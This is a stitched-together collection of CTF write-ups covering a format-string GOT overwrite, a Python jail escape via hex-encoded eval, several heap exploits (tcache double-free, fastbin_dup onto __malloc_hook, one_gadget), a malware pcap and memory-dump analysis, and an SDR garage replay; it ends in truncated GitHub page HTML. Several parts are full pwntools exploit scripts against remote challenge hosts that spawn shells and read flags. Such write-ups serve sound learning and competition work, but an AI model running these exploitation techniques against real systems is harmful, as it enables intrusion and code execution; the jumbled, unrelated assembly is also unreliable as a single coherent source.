There is only one problem if the pointer is at the start of a format string,the NULL byte (0x00).The printf quit after a NULL byte and it won't trigger the last part of the format string.So I changed a bit the layout moving the "AAAA" to the end after the %pand fixing the offset value (yes it changes).
Finally I could replace the AAAA with a real interesting address as astarting point to access the code section memory.The starting address is fixed, stored into the ELF headerand it doesn't changed at loading time becauseit wasn't compiled with the PIE option.\A correct address can be found with a quick search on internet about_"entry point address"_ or looking at an other 32-bit ELF with__`readelf -h EXECUTABLE`__.\Then the address could be incremented in a loop by the numberof useful bytes received from the server.
```(python)#!/usr/bin/python#-*- coding: utf-8 -*-
from pwn import *
s = remote('chall.2019.redpwn.net', 4007)start = 0x08048000addr = startbinfile = ''while addr < (start + 4096): if '0a' in hex(addr): addr += 1 binfile += '\x00' try: print('[+] %s:' % hex(addr)) s.sendline('AA.%10$s.BB' + '\x00' + p32(addr)) data = s.recv(128) data = data[data.find('AA.')+3:data.find('.BB')] binfile += data + '\x00' addr += len(data) + 1 except Exception as e: print('[-] Exception: ' + str(e)) with open('binfile', 'w') as f: f.write(binfile) s.close() s = remote('chall.2019.redpwn.net', 4007)s.close()with open('binfile', 'w') as f: f.write(binfile)```
In the loop I just skipped the addresses with "\n" because the inputfunction (fgets) use it to finish reading the buffer.The script stops after 4 KiloBytes.. I checked that I received somethinguseful running __`file binfile`__ that printed_`"ELF 32-bit LSB executable, Intel 80386"`_. Great!\The binary file it's not perfect (due to the addresses skipped containing 0x0a) but this is not a problem, with a bit of fortunewhen some stuff is missing,you don't have to execute it but just do some staticanalysis, like looking for address and understanding the code layout.
## EXPLOITThis executable it's quite easy to understand with a toollike ghidra, hopper or r2. There aren't any buffer overflow, but there are always the printf in loop. The main instructions from the dump indecompiled C (with ghidra):
```(c)do { fgets(local_1014, 0x1000, *(FILE **)PTR_stdin_08049ff8); printf(local_1014);} while( true );```
I had to identify which libc the server use. I used the format stringin the same way as before, but using as target addressthe GOT array of different functions (setbuf, printf and fgets).With these addresses (last 12 bit) I identified the libc usedwith the libc-database tool and after I found the address of libc.
```(bash)~/libc-database# ./find setbuf 450 printf 020 fgets 620ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64)archive-glibc (id libc6-i386_2.23-0ubuntu11_amd64)~/libc-database# ./dump libc6-i386_2.23-0ubuntu10_amd64 systemoffset_system = 0x0003a940```
My idea was to exploit this binary using the first round of format stringto get a leak of an address and bypass the ASLR.Then, in the second round,replace the pointer of the printf in the GOT with the system!\The printf it's the perfect target in this case because it's used (bad)with only one parameter that is the string read from the input,and I didn't need to change the code flow.Finally, at the last round of input I could pass a "/bin/sh" stringto the input and the code will call the system instead the printf,passing it the string just read.
The final exploit:
```(python)#!/usr/bin/python#-*- coding: utf-8 -*-
import structfrom pwn import *
got_setbuf = 0x804a00cgot_printf = 0x804a010got_fgets = 0x804a014offset_printf = 0x49020offset_system = 0x3a940
# LEAK => setbuf(450) printf(020) fgets(620)payload = 'AA.%10$s.BB' + '\x00' + p32(got_printf)s = remote('chall.2019.redpwn.net', 4007)s.sendline(payload)data = s.recv(128)data = data[data.find('AA.')+3:data.find('.BB')]libc_base = struct.unpack("I", data[4:8])[0] - offset_printfsystem = libc_base + offset_systemprint('[+] libc base: ' + hex(libc_base))print('[+] system: ' + hex(system))
# EXPLOITATIONlw = system & 0x0000ffffuw = (system & 0xffff0000) >> 16fmtstr = '%' + str(lw) + 'x' # >6fmtstr += '%14$hn' # >12fmtstr += '%' + str(uw-lw) + 'x' # >18fmtstr += '%15$hn' # >24fmtstr += '\x00' * (len(fmtstr) % 4)s.sendline(fmtstr + p32(got_printf) + p32(got_printf+2))data = s.recv(4096)s.interactive()s.send('////bin/sh')s.close()```
## Flag time

After I got the shell I took the source code filethat can be useful to recompile (_`gcc -m32 code.c -o bin`_) a workingexecutable and try it in local. |
In this misc challenge with the description:```When has a blacklist of insecure keywords EVER failed?
nc chall2.2019.redpwn.net 6006```we are also given a blacklist of words (look at blacklist.txt) that we can't use in this python shell. Let's try to open a file in the classic way:
```wow! there's a file called flag.txt right here!>>> print(open('flag.txt').read())That's not allowed here>>>```
The blacklist is actually working, let's try to put random things to raise errors:
```wow! there's a file called flag.txt right here!>>> asdTraceback (most recent call last): File "jail1.py", line 49, in <module> data = eval(data) File "<string>", line 1, in <module>NameError: name 'asd' is not defined```
Here we can see that there is an eval statement, let's assume that the blacklist control is naive as:
```pythonfor x in blacklist: if x in readed: #error handling```
we can bypass the check passing the file reading statement encoded in some way, let's try with hexadecimal
```pythonprint(open('flag.txt').read())```
in hex become
```python"7072696e74286f70656e2827666c61672e74787427292e72656164282929"```
so we should send
```python"7072696e74286f70656e2827666c61672e74787427292e72656164282929".decode('hex')```
```wow! there's a file called flag.txt right here!>>> "7072696e74286f70656e2827666c61672e74787427292e72656164282929".decode('hex')flag{bl4ckl1sts_w0rk_gre3344T!}```
P.S: Let's have fun dumping the software used for this challenge using:
```print(open('jail1.py').read())"7072696e74286f70656e28276a61696c312e707927292e72656164282929""7072696e74286f70656e28276a61696c312e707927292e72656164282929".decode('hex')```
The code used for this challenge is:```python#!/usr/bin/env python
from __future__ import print_function
print("wow! there's a file called flag.txt right here!")banned = [ "import", "ast", "eval", "=", "pickle", "os", "subprocess", "i love blacklisting words!", "input", "sys", "windows users", "print", "execfile", "hungrybox", "builtins", "open", "most of these are in here just to confuse you", "_", "dict", "[", ">", "<", ":", ";", "]", "exec", "hah almost forgot that one", "for", "@" "dir", "yah have fun", "file"]
while 1: print(">>>", end=' ') data = raw_input() for no in banned: if str(no).lower() in str(data).lower(): print("That's not allowed here") break else: # this means nobreak data = eval(data) if("code" not in str(data)): data = str(data) exec(data)``` |
Here is my exploit @javierprtd
```pythonfrom pwn import *
def init(s): io.recvuntil("Input name: ") io.sendline(s)
def menu(n): io.recvuntil("Choice: \n") io.sendline(str(n))
def alloc(n, s): menu(1) io.recvuntil("Enter size: ") io.sendline(str(n)) io.recvuntil("Enter data: ") io.sendline(s) io.recvuntil("Success!\n")
def edit(i, n, s): menu(2) io.recvuntil("Enter index: ") io.sendline(str(i)) io.recvuntil("Enter size: ") io.sendline(str(n)) io.recvuntil("Enter data: ") io.sendline(s) io.recvuntil("Success!\n")
def remove(i): menu(3) io.recvuntil("Enter index: ") io.sendline(str(i))
def show(new_name=None): menu(4) io.recvuntil("DO you want to edit: (Y/N)") if new_name is None: io.sendline("N") else: io.sendline("Y") io.recvuntil("Input name: ") io.sendline(new_name)
io.recvuntil("Name: ") return io.recv(0x28)[0x20:0x26]
elf = ELF("./iz_heap_lv1")libc = ELF("./libc.so.6")env = {"LD_PRELOAD":libc.path}local = Falseio = process(elf.path, env=env) if local else remote("165.22.110.249", 3333)init(p64(0x602120) + p64(0)*2 + p64(0x91) + p64(0)*17 + p64(0x21) + p64(0)*3 + p64(0x21)) # fake chunksfor i in range(7): alloc(0x80, "")for i in range(7): remove(i)remove(20) # free fake chunk and go to unsorted binleak = u64(show("A"*0x1f).ljust(8, '\0')) base_libc = leak - 0x3ebca0one_gadget = base_libc + 0x4f322free_hook = base_libc + libc.symbols['__free_hook']print "[+] base libc: 0x%x" % base_libcprint "[+] one_gadget: 0x%x" % one_gadgetprint "[+] free_hook: 0x%x" % free_hookshow(p64(0x602120) + p64(0)*2 + p64(0x31))remove(20)alloc(0x20, "")alloc(0x20, "")remove(0)show(p64(0)*3 + p64(0x31) + p64(free_hook))alloc(0x20, p64(free_hook))alloc(0x20, p64(one_gadget))remove(1)io.interactive()
'''[+] base libc: 0x7f03a20c4000[+] one_gadget: 0x7f03a2113322[+] free_hook: 0x7f03a24b18e8[*] Switching to interactive mode$ iduid=1000(iz_heap_lv1) gid=1000(iz_heap_lv1) groups=1000(iz_heap_lv1)$ cat /home/iz_heap_lv1/flagISITDTU{d800dab9684113a5d6c7d2c0381b48c1553068bc}'''``` |
[中文](./README_zh.md) [English](./README.md)
# babyRust wp
babyRust source code:https://github.com/zjw88282740/babyRust
Inspired by[CVE-2019-12083](https://www.cvedetails.com/cve/CVE-2019-12083/ "CVE-2019-12083 security vulnerability details")
an _arbitrary read_/write vulnerability
easy to arbitrary read, we can read some libc_addr from the GOT and calculate the libc_base
observed the heap, we can found double-free in tcache bins,one_gadget to get shell```from pwn import *libc=ELF("/lib/x86_64-linux-gnu/libc-2.27.so")#p=process("./babyRust")context.log_level="debug"p=remote("207.148.126.75",60001)def show(): p.recvuntil("4.exit\n") p.sendline("2")
def edit(name,x,y,z,i): p.recvuntil("4.exit\n") p.sendline("3") p.recvuntil("input your name:") p.sendline(name) p.recvuntil(":") p.sendline(str(x)) p.recvuntil(":") p.sendline(str(y)) p.recvuntil(":") p.sendline(str(z)) p.recvuntil(":") p.sendline(str(i))
#gdb.attach(p)
p.recvuntil("4.exit\n")p.sendline("1312") #Boom->Sshow()heap_addr=int(p.recvuntil(", ",drop=True)[2:])-0xa40print hex(heap_addr)
p.sendline("1313")p.sendline("1314")
edit("aaa",heap_addr+0x2ce0,0,0,0)show()p.sendline("1312")#show()print p.recv()
p.sendline("1313")
edit("bbb ",heap_addr+0xb18,8,8,heap_addr+0xb18)show()p.recvuntil("3,3,")pie_addr=u64(p.recv(8))-239480
print hex(pie_addr)
edit("bbb ",pie_addr+0x3be78,8,8,0)show()p.recvuntil("3,3,")
libc_addr=u64(p.recv(8))-1161904print hex(libc_addr)edit("bbbbb",heap_addr+0x2d40,2,3,4)p.sendline("1314")p.recvuntil("4.exit\n")p.sendline("1")p.recvuntil("input your name:")p.sendline("z")
p.recvuntil(":")p.sendline(str(0))p.recvuntil(":")p.sendline(str(4015))p.recvuntil(":")p.sendline(str(5))p.recvuntil(":")p.sendline(str(0))show()free_hook=libc_addr+libc.symbols['__free_hook']-0x28-8p.sendline("1312")edit("\x00"*0x20,free_hook,0,0,0)one_gadget=libc_addr+0x4f322p.sendline("1313")edit("\x00"*0x30,free_hook,2,3,one_gadget)p.sendline("1314")p.interactive()
``` |
### "Hidden malware" write-up ###### m4drat - August 25, 2019__table of contents__:- [info](#info)- [investigating pcap](#investigatin-pcap)- [investigating memdump](#investigatin-memdump)- [reversing](#reversing)- [tldr](#tldr)
#### infotask files: 1. .pcap file with virtual machine traffic2. virtual machine memory dump
task hints: 1. Take a closer look at the intercepted traffic. Which process initiated the connection and on which port?2. What do you know about process-injection malware
#### investigating pcapThis .pcap file has many data in it, but as we know the most interesting part is always in tcp streams, so lets take a closer look on them:  There are only 2 of them, so we can check them by hands: The first one looks like something default for windows:  But the second one don't:  This is definitely a malware communication session with CNC. And as we can see it read's file `flag.txt`, transfers encrypted content to CnC, and later deletes it. So we somehow need to restore content of this file. Lets start investigating memory dump.
#### investigating memdumpTo begin with, using volatility, we need to find out what system we are working with: - `py -2 vol.py --file ./memdump.mem imageinfo`  - Okay, now we know, that it was `Windows 7 Sp1, x64`, lets check `pslist` using this command: `py -2 vol.py --file ./memdump.mem --profile=Win7SP1x64 pslist` But there is nothing really interesting... We need to dig deeper.- Lets check network connections (because we know, that malware definetely communicated with CnC on known port: 63792) using this command: `py -2 vol.py --file ./memdump.mem --profile=Win7SP1x64 netscan` That looks much interesting right now, because we managed to find which process opened port, that we are searching for. It's `explorer.exe`. Stop, what?! Explorer.exe? Default windows app, that shouldn't open any network gates?.. Yep, that's it. The answer for this weird behaviour can be found in second hint: `What do you know about process-injection malware`. After this information all that we need to do, is to find appropriate dll, that is loaded by `explorer.exe`. Lets do it! - To view all loaded dll's that belongs to specific process we can run this command: `py -2 vol.py --file ./memdump.mem --profile=Win7SP1x64 dlllist -p 1776`, where -p is pid of target process:  Everythinhg looks fine excluding just one module 'update_agent.dll', that looks suspicious... Lets dump this dll, and take a closer look on it. - To dump specific dll we can use this command: `py -2 vol.py --file ./memdump.mem --profile=Win7SP1x64 dlldump --pid=1776 -D ./out --base=0x000007fef0f40000`  Now, when we have dll we can start reversing it.
#### reversing- let's open it in IDA and look at the strings  - Looks like we've found what we are looking for. Using xrefs for this string we can find function, where main logic is.  - Highlighted blocks represent enum switch-case construction. And that can be confirmed through decompiler view:  - So now we need to find command, which reads, and encrypts target file. And here it is. After a bit of reversing we managed to find it: - Now we need to understand which cryptographic algorithm is used. Lets take a look at `Encrypt` function (i've already reversed it):  Seems like it's initialising something. And then calls two interesting functions: `KSA` and `PRGA`. Where `KSA` looks like this: - After some time its really easy to understand, that used algorithm is `RC4`, so now we just need to get key, and ciphertext (which we already have from .pcap). Key can be found using xref's to `key` variable. It will allow us to find unrecognized function, which initializes this vector with values, that looks like key... All we have to do now is copy them and decrypt the flag. 
#### links1. [reversing c++ in IDA](https://blog.0xbadc0de.be/archives/67)2. [c++ malware](https://www.youtube.com/watch?v=o-FFGIloxvE)3. [RC4 in c++](https://www.youtube.com/watch?v=CiJocXXMXK4) |
## Comment by the author (explo1t)This challenge was the only Hardware On-Site Challenge and probably a last one for me on the Camp, because it was a mess to bring it to a stable level. Not only, was the dust a problem for the whole setup, but also the heat in the tent, constantly influenced the stability of the LimeSDR.
Some funny fuckups:* Garages were 3D printed and when i set up the tent, the challenge was standing outside for like 15 minutes. During this time, the printed objects began to melt and 1 gate completely broke off... superglue FTW* I printed the QR code, which were inside the garages a few days before. They were at the maximum size of the garage, but after they melted, they did not fit any more. Luckily QRs have some error corection, so i just cut some stuff away and most of the time it was still readable.* As the challenge had a livestream to see the garages open up, i did not think about the problem of darkness in the night, as we did not have any light in the tent... By luck out neighbours got a spare one and so we could at least light up the garages at night.
# GarageA pretty standard, but definitely not easy SDR challenge. The goal was to decode the garage challenge/response signal and open the second garage containing the Flag.
## DescriptionIn order to safeguard their flags, the ALLES team has brought their securestorage garages to the camp. They can be opened remotely with transmitters,using military-grade encryption™. We heard about security issues with similarproducts, but according to the manufacturer, their garages are secure! Phew.
Only a small number of highly trusted team members carry the transmitters.Unfortunately, one of them got drunk on Tschunk and a transmitter forone of the garages ended up in enemy hands.
You got hold of the remote control and can press the button:http://hax.allesctf.net:8080
Can you raid the second flag vault?
The following parameters might help you:
- Symbol Duration: 512u- Sample Rate: 200k- Frequency: 433.920 MHz
The signal is transmitted near Dragon Sleep Pwn Sector (each signal 10 times, bc transmission errors). You can eitherconnect to our remote receiver, or receive the signal locally usingthe SDR of your choice. For transmitting your solution, please use oursubmission queue which will allocate a time slot, transmit your signaland provide you with a video feed of the garage.
You cannot physically access the garages.
Remote transceiver: [garage-e9cfbc3da45f4dd32c3ce3e98e141422830a8460d10a44e8388be53e27e13e41.zip](https://github.com/gcm-explo1t/Writeups/raw/master/2019/Camp2019/garage/challenge/garage-e9cfbc3da45f4dd32c3ce3e98e141422830a8460d10a44e8388be53e27e13e41.zip)
## SolutionFirst of all, it was key to start the delivered client and capture some signals with it. Next it was key, to find a tool which could represent the captured data. One of these tools are [Universal Radio Hacker](https://github.com/jopohl/urh) or [GNUradio](https://www.gnuradio.org/) for example. When the client listened more than 30 seconds, there should at least be 2 signals visible:

Additionally, there was a website, with a camera livestream of one of the garages:

With a click on the button it was possible to open it and see a QR code:

If the QR code is decoded it said: `1n 0rd3r 2 5ee 4 flag 7ry the other 6arage`, which firstly hinted the existence of another garage.
The mechanism behind the button, was a click on the remote, which send the correct solution for one of the garages.
So now if somebody listened via the limeSDR and the button was pressed, there were now 3 signals visible.
The logical solution to this is, that there have to be 2 garages, where each of them sends a challenge and one remote, where it is possible for the user to send a correct response for garage 1.
Now it was key to understand the protocol and the Challenge-Response these garages use. Extracting a single challenge-signal for each garage from the recorded data it looked like this:
001011110101000111101100
011011110101001101101110
So with some more messages of these types it was possible to identify following message structure:
- 2Bit Garage ID (00 or 01)- 5Bit Rolling Code (minutes%30)- 101010 Static- 11Bit Random (static until challenge solved)
Now the main task was, to analyze the succesfull response from garage 1. An extracted signal challenge and response looked like this:
010100010101001001101000
010100000101000111001001
In direct comparison some data seemed the same, but there are also some differences. BUT, when we look back at the QR in garage one, it was some odd leet speak text...When you now look at only the digits of the text, you may recognize sth. at least, when you google "10325476" the first links directly reference to some MD5 implementations, as this number is one of the used constants.
Thus, with this hint, it was known, that MD5 is used somewhere. With a bit try and error and some additional recordings of the full challenge-response messages, it is possible to identify, that the response protocol looked like this:
- 2Bit Garage ID- 5Bit Rolling Code (minutes%30)- 0 Static (Identifier for a Response)- 16Bit `md5(challenge_as_interger)->last 16 Bit`
Now the full protocol is known and the last step was to create a signal with the correct response for the garage 0. I used GNUradio for this:

[garage-synthesize.grc](https://github.com/gcm-explo1t/Writeups/raw/master/2019/Camp2019/garage/garage-synthesize.grc)
When sending the created signal to the correct time, the second garage opened and the flag was visible.
Flag: `ALLES{SDR_h4xx_1s_b3st_h4xx}` |
### beehive write-up ###### m4drat - August 25, 2019__table of contents__:- [info](#info)- [reversing](#reversing)- [vulnerability](#vulnerability)- [exploitation](#exploitation)- [tldr](#tldr)
#### infochecksec output:  1. Binary is 64-bit с++ executable dynamically linked at least with libc2. binary uses full `RelRO` (relocations read only), so we cant simply overwrite .got entry and jump to one-gadget3. stack canaries are here too, so we cant use stack-based attacks (without memory leaks)4. nx-bit enabled, so we cant write our shellcode to rw memory location an later jump to it5. all we have is that program doesn't have `PIE`, so loaded executable base address is always the same
#### reversingBinary has some basic (for most heap-related tasks) functionality: In this particular task it's hard to find bugs by hand so lets go to actual reversing part. After restoring classes such as Note, Day, Calender we can start investigating app logic. - `Day` object default constructor: Its simply creates `std::vector` with `Note *`, and then reserves location for at least `0xd` elements (remember this moment, it will come in handy later). - `copy_notes` option: The most interesting part is in here. First of all it extracts `currentMonth` and `currentDay`, then the same thing happens with the second date. After it `std::vector<Note *>day_notes` ptr for `currentDay` is assigned to `day_notes_current`, same thing happens for the second day, `std::vector<Note *>day_notes` ptr for `newDay` is assigned to `day_notes_new`. And here is, where vuln is introduced.
#### exploitationSo the bug is that vector structures gets copied using `memcpy()` function instead of default copy constructor that can be used through assign operator, what eventually leads to `UAF` and `double-free` vulnerabilities. Lets look at memory layout after using `copy_notes` function.  As we can see both `std::vector <Note *>` references in `Day` objects are now pointing to the same memory location. And that's the problem. By default `std::vector<>` is a dynamic array that expands as needed, if it expands its must move content to a new memory location and release the old one. So when we make the vector expand (for example using `push_back` in `create_note` function), it will update pointers in `Day` object that is currently selected, but not in the second one, and we will get `UAF`, due to the fact that the second `Day` pointers remained the same. With this knowledge we can start creating two primitives: nearly arbitrary `write-what-where`, and `arbitrary-read`. Lets start with `arbitrary read`. Easiest way to create this primitive is to use `use-after-free` vulnerability. First of all we must create vector at 1/1, then we will extend it to 13 elements, after it we must copy it to another date (1/3), and later extend it to 14 elements, so location where was 13 pointers is going to be freed in first day. Then we need to free another vector to bypass `fasttop`. After we will select 1/3 and add to this vector one new note with `content_size` = 100, and `content` = `p64(desired_addr) * 12`, so this `note_content` will take memory region, where freed vector content was. And now, when we will call `print_notes` it will print data based on our fake `Note` pointers. That's good, but because it's vector of pointers to objects we need to somehow insert pointer to pointer to our location, that we want to read. Fortunately we don't have to do anything, because in the end of reallocated vector will be pointer to heap chunk, with content that we can control. Faked `std::vector<Note *>` content (last element is at `0xa84d50`, and that's the fake `Note*` where we can change content, to satisfy double-pointer dereference requirment):  So everything that we need to do now is to change value at controlled location to address we want to read: ``` pythondef generate_vec(cnt, content): for i in range(cnt): create_note('AAAAAAAA' * 15, content * 12, 100) # spray signal_got on heap to get leak
select_date(1, 1)generate_vec(13, p64(signal_got)) # controlled location, here will point pointer in the end of faked vectorcopy_notes(1, 3)generate_vec(1, 'PPPPPPPP') # free first vector
select_date(1, 2)generate_vec(14, p64(signal_got)) # free second vector to bypass "double free or corruption (fasttop)" + sparay objects with .got['signal'] ptr to leak libc
select_date(1, 3)create_note('AAAAAAAA', 'DDDDDDDD' * 17, 140) # double-free first vector + get leak
leak = u64(view_notes()[560:560+6] + '\x00\x00') # read last note name to get leak```Now, when we leaked all important addresses we can start creating write primitive. For this we will use `fastbin_dup`: First of all we must allocate vector of size 13 (at 2/1), then copy it to (2/2), free it adding new note, then free intermidiate vector (at 2/3) to bypass `faststop`, and later select (2/3) and add new note to double-free it. ``` pythondef generate_vec_param(cnt, name, content_size, content): for i in range(cnt): create_note(name, content, content_size)
def double_free_fast(): # first day select_date(2, 1) generate_vec_param(13, 'AAAAAAAA', 600, 'BBBBBBBB') copy_notes(2, 2) create_note('NNNN' * 31, 'OOOO' * 24, 600)
# second day select_date(2, 3) generate_vec_param(14, 'AAAAAAAA', 600, 'BBBBBBBB')
# third day select_date(2, 2) create_note('NNNN' * 31, 'OOOO' * 24, 600)
def exploit_df_fast(chunk_to_get, size): select_date(2, 4) create_note('AAAAAAAA', p64(chunk_to_get) + 'A' * 38, size) create_note('ZZZZZZZZ' * 15, 'MMMMMMMM', size) create_note('XXXXXXXX' * 15, 'KKKKKKKK', size)
double_free_fast()exploit_df_fast(0xdeadbeef, 102)```Right now we met almost all the conditions to return arbitrary pointer:  But we cant return fully arbitrary pointer, because there is some integrety checks inside malloc. For example: ``` cif (__glibc_likely (victim != NULL)){ size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0)) malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb);...```This code will check if chunk size, that we are going to return is in specific fastbin range (for this example in range `0x70 <= x <= 0x7f`). So we need to find memory region, that can be represented like `malloc_chunk`, and which size can pass `fastbin_index` check. Okay, we can use only specificly layouted memory. But what we want to write and where? In given binary we can find interesting gadget, that calls `system("/bin/cat /service/flag.txt")`, so we somehow want to redirect execution to this gadget. We can make this by rewriting `__malloc_hook` / `__free_hook` in already leaked libc, but we still need to find suitable chunk near this location. Here i will use pwndbg:  It found 2 possible fake_chunks near `malloc_hook`. I will use second one:  So now, when we will call `new` with appropriate size it will return this fakechunk near `malloc_hook`, and now if we will write something big to this chunk we will rewrite `__malloc_hook`:  Got it! Now you just need to change 'A's with gadget address and get flag: 
#### tldr1. get mem-leak using `UAF`2. find fake_chunk near `__malloc_hook`3. return this fake chunk using `fastbin_dup`4. rewrite `__malloc_hook` with gadget address5. get flag
links: - [pwndbg find_fake_fastbin module](https://veritas501.space/2018/03/27/调教pwndbg/) - [how2heap](https://github.com/shellphish/how2heap/) - [phrack](http://phrack.org/issues/61/6.html) - [MallocMaleficarum](https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt) - [heap exploitation](https://heap-exploitation.dhavalkapil.com)
|
The attached archive contains a huge memory dump *flagconverter.dmp* (1.1Gb).The easiest thing to do is to run the following command implying that the flag has the format of ALLES{...}:
```$ strings flagconverter.dmp | grep ALLES```
The output gave us the flag:
 |
The pcap contains game traffic of cs:go which is encrypted with "ICE". The key can be generated by using the build number. After decrypting the traffic the flag can be extracted by shifting the bits, as the protcol used by valve is based on bitstreams. All this information can be obtained by reverse engeneering the engine ;) OR (and this is the reason I rated it as easy) by reading [this post](https://www.unknowncheats.me/forum/counterstrike-global-offensive/292668-networking-megathread.html)I got the idea for this challenge when I was developing a fuzzer for cs:go. (which I never finished and instead ended up as a plug'n play cheat by using my mobile phone as a network sniffer and mouse emulator, more like a proof-of-concept as I don't even play games ;) [Video](https://www.youtube.com/watch?v=nn_hD1-Xe5Q) ) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 